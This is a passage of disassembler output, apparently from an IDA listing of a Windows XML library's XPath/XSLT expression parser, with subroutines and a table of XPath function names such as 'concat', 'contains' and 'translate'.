dd offset aDescendantOrSe ; "descendant-or-self"
dd 0FFFFFFB9h
dd offset aParent ; "parent"
dd 0FFFFFFB5h
dd offset aSelf ; "self"
dd 0FFFFFFB2h
; =============== S U B R O U T I N E =======================================
sub_69B5EB78 proc near ; CODE XREF: sub_69B5EBFB+Dp
; sub_69B5EBFB+2Ep ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
cmp [esi+20h], eax
jz short loc_69B5EB92
push eax
call sub_69B61B61
push eax
mov ecx, esi
call sub_69B62438
loc_69B5EB92: ; CODE XREF: sub_69B5EB78+Aj
pop esi
retn 4
sub_69B5EB78 endp
; =============== S U B R O U T I N E =======================================
sub_69B5EB96 proc near ; CODE XREF: sub_69B5F881+224p
; sub_69B62EAF+7Ep ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov [ecx+18h], eax
call sub_69B5EA78
retn 4
sub_69B5EB96 endp
; =============== S U B R O U T I N E =======================================
sub_69B5EBA5 proc near ; CODE XREF: sub_69B5F12B+64p
; sub_69B5F23C+B0p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
mov esi, ecx
jz short loc_69B5EBC8
or word ptr [esi+0Eh], 0FFFFh
mov [esi+10h], edi
mov [esi+18h], edi
call sub_69B5EA78
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
loc_69B5EBC8: ; CODE XREF: sub_69B5EBA5+Aj
mov eax, edi
pop edi
pop esi
retn 8
sub_69B5EBA5 endp
; =============== S U B R O U T I N E =======================================
sub_69B5EBCF proc near ; CODE XREF: sub_69B6F741-57173p
; sub_69B5EEC0+2Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
test eax, eax
push esi
mov esi, ecx
jnz short loc_69B5EBE6
push dwTlsIndex
call dword_69B92970
loc_69B5EBE6: ; CODE XREF: sub_69B5EBCF+9j
mov [esi+4], eax
mov ecx, [eax+1Ch]
mov [esi], ecx
mov ecx, [esp+4+arg_0]
mov [eax+1Ch], ecx
mov eax, esi
pop esi
retn 8
sub_69B5EBCF endp
; =============== S U B R O U T I N E =======================================
sub_69B5EBFB proc near ; CODE XREF: sub_69B5F3B7+2Ep
; sub_69B5FD60+53p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov esi, ecx
call sub_69B5EA61
push 5Bh
mov ecx, esi
call sub_69B5EB78
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push [esp+8+arg_4]
mov eax, [esi]
push [esp+0Ch+arg_0]
mov ecx, esi
call dword ptr [eax+40h]
push 5Dh
mov ecx, esi
mov edi, eax
call sub_69B5EB78
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
dec dword ptr [esi+48h]
mov eax, edi
pop edi
pop esi
retn 8
sub_69B5EBFB endp
; =============== S U B R O U T I N E =======================================
sub_69B5EC3F proc near ; CODE XREF: sub_69B5F498+11Ap
; sub_69B5F498+168p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
mov edi, [esi+1Ch]
jmp short loc_69B5EC8E
; ---------------------------------------------------------------------------
loc_69B5EC4D: ; CODE XREF: sub_69B5EC3F+3Cj
; sub_69B5EC3F+53j
push [esp+0Ch+arg_C]
mov eax, [esi]
push [esp+10h+arg_8]
mov edi, [esi+1Ch]
mov ecx, esi
call dword ptr [eax+40h]
mov ecx, [ebx]
push eax
call sub_69B8A35C
cmp dword ptr [esi+20h], 2Ch
jnz short loc_69B5EC8E
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
cmp dword ptr [esi+20h], 29h
mov edi, [esi+1Ch]
jnz short loc_69B5EC4D
push 0
push 0
push edi
push 0C00CE606h
mov ecx, esi
call sub_69B62488
loc_69B5EC8E: ; CODE XREF: sub_69B5EC3F+Cj
; sub_69B5EC3F+2Cj
cmp dword ptr [esi+20h], 29h
jnz short loc_69B5EC4D
mov eax, [ebx]
mov ecx, [esp+0Ch+arg_0]
cmp ecx, [eax+0Ch]
jle short loc_69B5ECB0
push 0
push 0
push edi
push 0C00CE60Ah
mov ecx, esi
call sub_69B62488
loc_69B5ECB0: ; CODE XREF: sub_69B5EC3F+5Ej
pop edi
pop esi
pop ebx
retn 10h
sub_69B5EC3F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5ECB6 proc near ; CODE XREF: sub_69B5F498+1D1p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov eax, [esi]
push edi
call dword ptr [eax+44h]
push 28h
mov ecx, esi
call sub_69B5EB78
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
mov ecx, [ebp+arg_0]
cmp ecx, 0FFFFFFA3h
jz short loc_69B5ECF7
cmp ecx, 0FFFFFFA4h
jz short loc_69B5ECEE
cmp ecx, 0FFFFFFA5h
jnz short loc_69B5ECFE
mov [ebp+arg_0], 5
jmp short loc_69B5ECFE
; ---------------------------------------------------------------------------
loc_69B5ECEE: ; CODE XREF: sub_69B5ECB6+28j
mov [ebp+arg_0], 1
jmp short loc_69B5ECFE
; ---------------------------------------------------------------------------
loc_69B5ECF7: ; CODE XREF: sub_69B5ECB6+23j
mov [ebp+arg_0], 3
loc_69B5ECFE: ; CODE XREF: sub_69B5ECB6+2Dj
; sub_69B5ECB6+36j ...
mov eax, [esi+1Ch]
xor edi, edi
cmp dword ptr [esi+20h], 29h
mov [ebp+var_4], eax
jnz short loc_69B5ED3F
cmp ecx, 0FFFFFFA4h
jnz short loc_69B5ED20
push edi
push edi
push eax
push 0C00CE606h
mov ecx, esi
call sub_69B62488
loc_69B5ED20: ; CODE XREF: sub_69B5ECB6+59j
push [ebp+arg_0]
push edi
call sub_69B6589E
mov edi, eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
mov eax, edi
add edi, 8
neg eax
sbb eax, eax
and eax, edi
jmp short loc_69B5ED7B
; ---------------------------------------------------------------------------
loc_69B5ED3F: ; CODE XREF: sub_69B5ECB6+54j
mov eax, [esi]
push ebx
push edi
push edi
mov ecx, esi
call dword ptr [eax+40h]
mov ebx, eax
cmp ebx, edi
jnz short loc_69B5ED60
push edi
push edi
push [ebp+var_4]
mov ecx, esi
push 0C00CE38Dh
call sub_69B62488
loc_69B5ED60: ; CODE XREF: sub_69B5ECB6+97j
push 29h
mov ecx, esi
call sub_69B5EB78
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push [ebp+arg_0]
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+40h]
pop ebx
loc_69B5ED7B: ; CODE XREF: sub_69B5ECB6+87j
pop edi
pop esi
leave
retn 4
sub_69B5ECB6 endp
; =============== S U B R O U T I N E =======================================
sub_69B5ED81 proc near ; CODE XREF: sub_69B6048B+1Ep
push esi
mov esi, ecx
mov eax, [esi+28h]
test eax, eax
jz short loc_69B5EDB0
cmp dword_69B9B620, eax
jz short loc_69B5ED9C
mov dword ptr [esi+20h], 0FFFFFF9Dh
jmp short loc_69B5EDD7
; ---------------------------------------------------------------------------
loc_69B5ED9C: ; CODE XREF: sub_69B5ED81+10j
mov ecx, [esi+2Ch]
mov eax, [ecx]
call dword ptr [eax+2Ch]
mov eax, [eax+8]
mov ecx, [esi+1Ch]
lea ecx, [ecx+eax*2+2]
jmp short loc_69B5EDB3
; ---------------------------------------------------------------------------
loc_69B5EDB0: ; CODE XREF: sub_69B5ED81+8j
mov ecx, [esi+1Ch]
loc_69B5EDB3: ; CODE XREF: sub_69B5ED81+2Dj
mov eax, [esi+18h]
sub eax, ecx
sar eax, 1
dec eax
push eax
push ecx
push 1Ch
push offset off_69B5EDE0
call sub_69B63D0A
test eax, eax
jnz short loc_69B5EDD1
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B5EDD1: ; CODE XREF: sub_69B5ED81+4Aj
mov eax, [eax+4]
mov [esi+20h], eax
loc_69B5EDD7: ; CODE XREF: sub_69B5ED81+19j
mov al, 1
pop esi
retn
sub_69B5ED81 endp
; ---------------------------------------------------------------------------
align 10h
off_69B5EDE0 dd offset aBoolean ; DATA XREF: sub_69B5ED81+3Eo
; "boolean"
dd 0FFFFFFA4h
dd offset aConcat ; "concat"
dd 0FFFFFF98h
dd offset aContains ; "contains"
dd 0FFFFFF96h
dd offset aCount ; "count"
dd 0FFFFFFAAh
dd offset aCurrent ; "current"
dd 0FFFFFF9Fh
dd offset aElementAvailab ; "element-available"
dd 0FFFFFF9Ch
dd offset aFalse ; "false"
dd 0FFFFFFA1h
dd offset aFormatNumber ; "format-number"
dd 0FFFFFF9Ah
dd offset aFormatnumber ; "formatNumber"
dd 0FFFFFF99h
dd offset aFunctionAvaila ; "function-available"
dd 0FFFFFF9Bh
dd offset aId ; "id"
dd 0FFFFFFC6h
dd offset aLast ; "last"
dd 0FFFFFFACh
dd offset aLocalName ; "local-name"
dd 0FFFFFFA8h
dd offset aName ; "name"
dd 0FFFFFFA6h
dd offset aNamespaceUri ; "namespace-uri"
dd 0FFFFFFA7h
dd offset aNormalizeSpace ; "normalize-space"
dd 0FFFFFF91h
dd offset aNot_0 ; "not"
dd 0FFFFFFA0h
dd offset aNumber ; "number"
dd 0FFFFFFA3h
dd offset aPosition ; "position"
dd 0FFFFFFABh
dd offset aStartsWith ; "starts-with"
dd 0FFFFFF97h
dd offset aString ; "string"
dd 0FFFFFFA5h
dd offset aStringLength ; "string-length"
dd 0FFFFFF92h
dd offset aSubstring ; "substring"
dd 0FFFFFF93h
dd offset aSubstringAfter ; "substring-after"
dd 0FFFFFF94h
dd offset aSubstringBefor ; "substring-before"
dd 0FFFFFF95h
dd offset aSystemProperty ; "system-property"
dd 0FFFFFF9Eh
dd offset aTranslate ; "translate"
db 90h
db 3 dup(0FFh)
dd offset aTrue ; "true"
dd 0FFFFFFA2h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5EEC0 proc near ; CODE XREF: sub_69B49F3F+56p
; sub_69B5FFCF+2Bp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_69B2FB5A
mov edi, eax
xor ebx, ebx
cmp [edi], bx
jz loc_69B5EFA7
xor eax, eax
cmp [ebp+arg_C], al
push ebx
setz al
lea ecx, [ebp+var_8]
inc eax
push eax
call sub_69B5EBCF
cmp word ptr [edi], 40h
mov ecx, [ebp+arg_4]
setz al
test al, al
mov [ecx], al
jz short loc_69B5EF04
inc edi
inc edi
loc_69B5EF04: ; CODE XREF: sub_69B5EEC0+40j
lea eax, [ebp+arg_0]
push eax
push edi
mov [ebp+arg_0], ebx
call sub_69B31F54
mov esi, eax
push 0FFFFFFFFh
push esi
call sub_69B2FB5A
cmp [eax], bx
jnz short loc_69B5EF9E
cmp esi, edi
jz short loc_69B5EF9E
cmp [ebp+arg_0], ebx
jz short loc_69B5EF4A
push [ebp+arg_0]
push edi
call sub_69B2FAC8
mov ebx, eax
mov eax, [ebp+arg_0]
lea eax, [edi+eax*2+2]
sub esi, eax
sar esi, 1
push esi
push eax
call sub_69B2FAC8
mov esi, eax
jmp short loc_69B5EF68
; ---------------------------------------------------------------------------
loc_69B5EF4A: ; CODE XREF: sub_69B5EEC0+67j
sub esi, edi
sar esi, 1
push esi
push edi
call sub_69B2FAC8
mov esi, eax
mov eax, dword_69B95A6C
cmp esi, eax
jnz short loc_69B5EF68
mov esi, dword_69B95A18
mov ebx, eax
loc_69B5EF68: ; CODE XREF: sub_69B5EEC0+88j
; sub_69B5EEC0+9Ej
cmp [ebp+arg_C], 0
jz short loc_69B5EF84
test ebx, ebx
jz short loc_69B5EF84
push ebx
call sub_69B4D2B6
test eax, eax
jnz short loc_69B5EF80
xor al, al
jmp short loc_69B5EF93
; ---------------------------------------------------------------------------
loc_69B5EF80: ; CODE XREF: sub_69B5EEC0+BAj
xor ebx, ebx
jmp short loc_69B5EF86
; ---------------------------------------------------------------------------
loc_69B5EF84: ; CODE XREF: sub_69B5EEC0+ACj
; sub_69B5EEC0+B0j
xor eax, eax
loc_69B5EF86: ; CODE XREF: sub_69B5EEC0+C2j
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov [ecx+4], ebx
mov [ecx+8], esi
mov al, 1
loc_69B5EF93: ; CODE XREF: sub_69B5EEC0+BEj
mov ecx, [ebp+var_4]
mov edx, [ebp+var_8]
mov [ecx+1Ch], edx
jmp short loc_69B5EFA9
; ---------------------------------------------------------------------------
loc_69B5EF9E: ; CODE XREF: sub_69B5EEC0+5Ej
; sub_69B5EEC0+62j
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov [eax+1Ch], ecx
loc_69B5EFA7: ; CODE XREF: sub_69B5EEC0+19j
xor al, al
loc_69B5EFA9: ; CODE XREF: sub_69B5EEC0+DCj
pop edi
pop esi
pop ebx
leave
retn 10h
sub_69B5EEC0 endp
; =============== S U B R O U T I N E =======================================
sub_69B5EFB0 proc near ; CODE XREF: sub_69B5F0A3+3p
; sub_69B5F0BE+17p
push esi
mov esi, ecx
mov dword ptr [esi], offset off_69B12B30
mov dword ptr [esi+8], offset off_69B294EC
call sub_69B2C65C
lea eax, [esi+34h]
push eax
call sub_69B17230
lea eax, [esi+30h]
push eax
call sub_69B17230
lea eax, [esi+2Ch]
push eax
call sub_69B17230
lea eax, [esi+28h]
push eax
call sub_69B17230
lea eax, [esi+24h]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B5EFB0 endp
; ---------------------------------------------------------------------------
loc_69B5EFFA: ; DATA XREF: .text:off_69B294ECo
sub dword ptr [esp+4], 8
jmp loc_69B60B40
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5F004 proc near ; CODE XREF: sub_69B5F092+5j
; DATA XREF: .text:69B12B34o ...
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
call dword_69B92948
mov esi, eax
test esi, esi
jnz short loc_69B5F01E
mov eax, 80004005h
jmp short loc_69B5F046
; ---------------------------------------------------------------------------
loc_69B5F01E: ; CODE XREF: sub_69B5F004+11j
push edi
push 0
push esi
lea ecx, [ebp+var_C]
call sub_69B1A8C7
mov ecx, [ebp+arg_0]
call sub_69B17355
lea ecx, [ebp+var_C]
mov edi, eax
call sub_69B1976C
push esi
call dword_69B92944
mov eax, edi
pop edi
loc_69B5F046: ; CODE XREF: sub_69B5F004+18j
pop esi
leave
retn 4
sub_69B5F004 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5F04B proc near ; CODE XREF: sub_69B5F09C+5j
; DATA XREF: .text:69B12B38o ...
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
call dword_69B92948
mov esi, eax
test esi, esi
jnz short loc_69B5F065
mov eax, 80004005h
jmp short loc_69B5F08D
; ---------------------------------------------------------------------------
loc_69B5F065: ; CODE XREF: sub_69B5F04B+11j
push edi
push 0
push esi
lea ecx, [ebp+var_C]
call sub_69B1A8C7
mov ecx, [ebp+arg_0]
call sub_69B183BB
lea ecx, [ebp+var_C]
mov edi, eax
call sub_69B1976C
push esi
call dword_69B92944
mov eax, edi
pop edi
loc_69B5F08D: ; CODE XREF: sub_69B5F04B+18j
pop esi
leave
retn 4
sub_69B5F04B endp
; =============== S U B R O U T I N E =======================================
sub_69B5F092 proc near ; DATA XREF: .text:69B294F0o
arg_0 = dword ptr 4
sub [esp+arg_0], 8
jmp sub_69B5F004
sub_69B5F092 endp
; =============== S U B R O U T I N E =======================================
sub_69B5F09C proc near ; DATA XREF: .text:69B294F4o
arg_0 = dword ptr 4
sub [esp+arg_0], 8
jmp short sub_69B5F04B
sub_69B5F09C endp
; =============== S U B R O U T I N E =======================================
sub_69B5F0A3 proc near ; DATA XREF: .text:69B12B3Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B5EFB0
test [esp+4+arg_0], 1
jz short loc_69B5F0B8
push esi
call sub_69B1829F
loc_69B5F0B8: ; CODE XREF: sub_69B5F0A3+Dj
mov eax, esi
pop esi
retn 4
sub_69B5F0A3 endp
; =============== S U B R O U T I N E =======================================
sub_69B5F0BE proc near ; DATA XREF: .text:69B12B84o
arg_0 = byte ptr 4
push esi
mov esi, ecx
mov dword ptr [esi], offset off_69B12B78
mov dword ptr [esi+8], offset off_69B294EC
call sub_69B2C65C
mov ecx, esi
call sub_69B5EFB0
test [esp+4+arg_0], 1
jz short loc_69B5F0E7
push esi
call sub_69B1829F
loc_69B5F0E7: ; CODE XREF: sub_69B5F0BE+21j
mov eax, esi
pop esi
retn 4
sub_69B5F0BE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B5FB10
loc_69B5F0ED: ; CODE XREF: sub_69B5FB10+Dj
push esi
mov esi, ecx
call sub_69B625BC
push [esp+4+arg_0]
and dword ptr [esi+50h], 0
mov ecx, esi
mov dword ptr [esi], offset off_69B12B78
mov dword ptr [esi+8], offset off_69B294EC
call sub_69B6227E
mov eax, esi
pop esi
retn 4
; END OF FUNCTION CHUNK FOR sub_69B5FB10
; =============== S U B R O U T I N E =======================================
sub_69B5F117 proc near ; DATA XREF: .text:69B12BACo
push esi
mov esi, ecx
push 0
lea eax, [esi+34h]
push eax
call sub_69B17320
and dword ptr [esi+58h], 0
pop esi
retn
sub_69B5F117 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5F12B proc near ; DATA XREF: .text:69B12BB0o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push dwTlsIndex
mov esi, ecx
call dword_69B92970
push [ebp+arg_4]
mov ebx, eax
mov eax, [ebx+1Ch]
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov dword ptr [ebx+1Ch], 1
mov [esi+54h], eax
lea eax, [esi+34h]
push eax
mov [ebp+var_4], ebx
call sub_69B17320
mov eax, [ebp+arg_C]
mov [esi+58h], eax
mov eax, [ebp+arg_0]
xor edi, edi
cmp eax, edi
mov [esi+48h], edi
jnz short loc_69B5F18B
cmp [esi+0Eh], di
jz loc_69B5F22D
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
mov eax, [esi+1Ch]
loc_69B5F18B: ; CODE XREF: sub_69B5F12B+4Aj
push edi
push eax
mov ecx, esi
call sub_69B5EBA5
test eax, eax
jz loc_69B5F21D
mov eax, [esi]
mov ebx, [esi+1Ch]
push edi
push edi
mov ecx, esi
call dword ptr [eax+40h]
mov ecx, [esi+54h]
mov [ebp+arg_8], eax
mov eax, ecx
and eax, 0Eh
dec eax
dec eax
jz short loc_69B5F1E7
dec eax
dec eax
mov ecx, esi
jz short loc_69B5F1D2
sub eax, 4
jz short loc_69B5F1CA
push ebx
call sub_69B6240B
jmp short loc_69B5F227
; ---------------------------------------------------------------------------
loc_69B5F1CA: ; CODE XREF: sub_69B5F12B+95j
push edi
call sub_69B5EB78
jmp short loc_69B5F227
; ---------------------------------------------------------------------------
loc_69B5F1D2: ; CODE XREF: sub_69B5F12B+90j
push edi
call sub_69B5EB78
push edi
push edi
push ebx
push [ebp+arg_8]
mov ecx, esi
call sub_69B62F36
jmp short loc_69B5F227
; ---------------------------------------------------------------------------
loc_69B5F1E7: ; CODE XREF: sub_69B5F12B+8Aj
test cl, 1
jz short loc_69B5F202
mov eax, [esi+20h]
cmp eax, 7Ch
jz short loc_69B5F20A
cmp eax, edi
jz short loc_69B5F20A
push edi
mov ecx, esi
call sub_69B629F7
jmp short loc_69B5F20A
; ---------------------------------------------------------------------------
loc_69B5F202: ; CODE XREF: sub_69B5F12B+BFj
push edi
mov ecx, esi
call sub_69B5EB78
loc_69B5F20A: ; CODE XREF: sub_69B5F12B+C7j
; sub_69B5F12B+CBj ...
push edi
push 86h
push ebx
push [ebp+arg_8]
mov ecx, esi
call sub_69B6296C
jmp short loc_69B5F227
; ---------------------------------------------------------------------------
loc_69B5F21D: ; CODE XREF: sub_69B5F12B+6Bj
push 80070057h
call sub_69B2E8B8
loc_69B5F227: ; CODE XREF: sub_69B5F12B+9Dj
; sub_69B5F12B+A5j ...
mov edi, [ebp+arg_8]
mov ebx, [ebp+var_4]
loc_69B5F22D: ; CODE XREF: sub_69B5F12B+50j
mov eax, [ebp+var_8]
mov [ebx+1Ch], eax
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn 10h
sub_69B5F12B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5F23C proc near ; DATA XREF: .text:69B12BB4o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
and [ebp+var_8], 0
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push dwTlsIndex
mov esi, ecx
mov [ebp+var_4], edi
call dword_69B92970
mov ecx, [eax+1Ch]
push [ebp+arg_4]
mov dword ptr [eax+1Ch], 1
and dword ptr [esi+54h], 0
mov [ebp+var_C], eax
lea eax, [esi+34h]
push eax
mov [ebp+var_10], ecx
call sub_69B17320
mov eax, [ebp+arg_8]
mov [esi+58h], eax
mov bx, [edi]
test bx, bx
jz loc_69B5F36D
loc_69B5F28F: ; CODE XREF: sub_69B5F23C+11Dj
cmp bx, 7Bh
jz short loc_69B5F29F
cmp bx, 7Dh
jnz loc_69B5F351
loc_69B5F29F: ; CODE XREF: sub_69B5F23C+57j
cmp edi, [ebp+var_4]
jbe short loc_69B5F2D4
mov eax, edi
sub eax, [ebp+var_4]
sar eax, 1
push eax
push [ebp+var_4]
call sub_69B190C1
push eax
call sub_69B65631
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push [ebp+var_8]
call sub_69B5EAA0
mov [ebp+var_8], eax
mov [ebp+var_4], edi
loc_69B5F2D4: ; CODE XREF: sub_69B5F23C+66j
inc edi
inc edi
cmp [edi], bx
jnz short loc_69B5F2E1
add [ebp+var_4], 2
jmp short loc_69B5F351
; ---------------------------------------------------------------------------
loc_69B5F2E1: ; CODE XREF: sub_69B5F23C+9Dj
cmp bx, 7Bh
mov ecx, esi
jnz short loc_69B5F322
push 0
push edi
call sub_69B5EBA5
mov eax, [ebp+arg_0]
push 0
mov [esi+10h], eax
mov eax, [esi]
push 0
mov ecx, esi
call dword ptr [eax+40h]
push eax
push [ebp+var_8]
call sub_69B5EAA0
push 7Dh
mov ecx, esi
mov [ebp+var_8], eax
call sub_69B5EB78
mov edi, [esi+1Ch]
lea eax, [edi+2]
mov [ebp+var_4], eax
jmp short loc_69B5F351
; ---------------------------------------------------------------------------
loc_69B5F322: ; CODE XREF: sub_69B5F23C+ABj
push [ebp+arg_0]
lea eax, [edi-2]
push edi
push eax
push 0
push 7Dh
call sub_69B61B61
push eax
push 0C00CE381h
call sub_69B2F944
add esp, 0Ch
push eax
mov ecx, esi
call sub_69B61BB4
push eax
mov ecx, esi
call sub_69B61B50
loc_69B5F351: ; CODE XREF: sub_69B5F23C+5Dj
; sub_69B5F23C+A3j ...
inc edi
inc edi
mov bx, [edi]
test bx, bx
jnz loc_69B5F28F
cmp [ebp+var_8], 0
mov eax, [ebp+var_4]
jnz short loc_69B5F371
cmp eax, [ebp+arg_0]
jnz short loc_69B5F371
loc_69B5F36D: ; CODE XREF: sub_69B5F23C+4Dj
xor eax, eax
jmp short loc_69B5F3A7
; ---------------------------------------------------------------------------
loc_69B5F371: ; CODE XREF: sub_69B5F23C+12Aj
; sub_69B5F23C+12Fj
cmp edi, eax
jbe short loc_69B5F39D
sub edi, eax
sar edi, 1
push edi
push eax
call sub_69B190C1
push eax
call sub_69B65631
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push [ebp+var_8]
call sub_69B5EAA0
mov [ebp+var_8], eax
loc_69B5F39D: ; CODE XREF: sub_69B5F23C+137j
mov ecx, [ebp+var_8]
mov eax, [ecx]
push 5
call dword ptr [eax+40h]
loc_69B5F3A7: ; CODE XREF: sub_69B5F23C+133j
mov ecx, [ebp+var_10]
mov edx, [ebp+var_C]
pop edi
pop esi
mov [edx+1Ch], ecx
pop ebx
leave
retn 0Ch
sub_69B5F23C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5F3B7 proc near ; CODE XREF: sub_69B5FEEC+D4p
; sub_69B60160+5Ep
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push 0
push 0
mov esi, ecx
push dword ptr [esi+1Ch]
push [ebp+arg_4]
call sub_69B62F36
cmp dword ptr [esi+20h], 5Bh
mov ebx, eax
mov [ebp+var_4], ebx
jnz loc_69B5F48B
push edi
loc_69B5F3DF: ; CODE XREF: sub_69B5F3B7+CDj
push [ebp+arg_8]
mov ecx, esi
push ebx
call sub_69B5EBFB
mov edi, eax
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+3Ch]
mov [ebp+var_8], eax
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+4Ch]
mov [ebp+arg_4], eax
xor eax, eax
cmp [ebp+arg_0], eax
jz short loc_69B5F462
cmp [ebp+var_8], eax
jz short loc_69B5F412
test byte ptr [ebp+arg_4+1], 2
jnz short loc_69B5F462
loc_69B5F412: ; CODE XREF: sub_69B5F3B7+53j
mov ecx, [ebp+var_4]
mov edx, [ecx]
push eax
call dword ptr [edx+8Ch]
test byte ptr [ebp+arg_4+1], 1
jnz short loc_69B5F43D
xor eax, eax
mov al, [esi+0Ch]
push eax
push ebx
call sub_69B664E8
mov ecx, eax
add eax, 10h
neg ecx
sbb ecx, ecx
and ecx, eax
mov ebx, ecx
loc_69B5F43D: ; CODE XREF: sub_69B5F3B7+6Bj
xor eax, eax
mov al, [esi+0Ch]
push eax
push [ebp+arg_8]
push edi
push ebx
push [ebp+arg_0]
call sub_69B65FCF
mov ecx, eax
add eax, 10h
neg ecx
sbb ecx, ecx
and ecx, eax
mov ebx, ecx
mov [ebp+var_4], ebx
jmp short loc_69B5F480
; ---------------------------------------------------------------------------
loc_69B5F462: ; CODE XREF: sub_69B5F3B7+4Ej
; sub_69B5F3B7+59j
xor ecx, ecx
mov cl, [esi+0Ch]
push ecx
push [ebp+arg_8]
push edi
push eax
push ebx
call sub_69B65FCF
mov ecx, eax
add eax, 10h
neg ecx
sbb ecx, ecx
and ecx, eax
mov ebx, ecx
loc_69B5F480: ; CODE XREF: sub_69B5F3B7+A9j
cmp dword ptr [esi+20h], 5Bh
jz loc_69B5F3DF
pop edi
loc_69B5F48B: ; CODE XREF: sub_69B5F3B7+21j
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+5Ch]
pop esi
pop ebx
leave
retn 0Ch
sub_69B5F3B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5F498 proc near ; CODE XREF: sub_69B5FD60+18p
var_18 = qword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, ecx
call sub_69B5EA61
mov eax, [esi+20h]
cmp eax, 0FFFFFFA2h
mov edi, [esi+1Ch]
jg loc_69B5F620
jz loc_69B5F614
cmp eax, 0FFFFFF98h
jz loc_69B5F5D8
cmp eax, 0FFFFFF9Dh
jz loc_69B5F566
cmp eax, 0FFFFFFA0h
jz short loc_69B5F517
cmp eax, 0FFFFFFA1h
jnz loc_69B5F640
push 0
push offset off_69B296E0
loc_69B5F4E2: ; CODE XREF: sub_69B5F498+183j
call sub_69B65669
mov edi, eax
add eax, 8
neg edi
sbb edi, edi
and edi, eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push 28h
mov ecx, esi
call sub_69B5EB78
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
loc_69B5F509: ; CODE XREF: sub_69B5F498+207j
; sub_69B5F498+228j
push 29h
mov ecx, esi
call sub_69B5EB78
jmp loc_69B5F745
; ---------------------------------------------------------------------------
loc_69B5F517: ; CODE XREF: sub_69B5F498+38j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push 28h
mov ecx, esi
call sub_69B5EB78
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
xor ebx, ebx
cmp dword ptr [esi+20h], 29h
jnz short loc_69B5F545
push ebx
push ebx
push edi
push 0C00CE602h
mov ecx, esi
call sub_69B62488
loc_69B5F545: ; CODE XREF: sub_69B5F498+9Cj
push [ebp+arg_4]
mov eax, [esi]
push ebx
mov ecx, esi
call dword ptr [eax+40h]
push 29h
mov ecx, esi
mov edi, eax
call sub_69B5EB78
push edi
call sub_69B6776D
jmp loc_69B5F73A
; ---------------------------------------------------------------------------
loc_69B5F566: ; CODE XREF: sub_69B5F498+2Fj
xor ebx, ebx
cmp [esi+34h], ebx
jnz short loc_69B5F57C
push ebx
push ebx
push edi
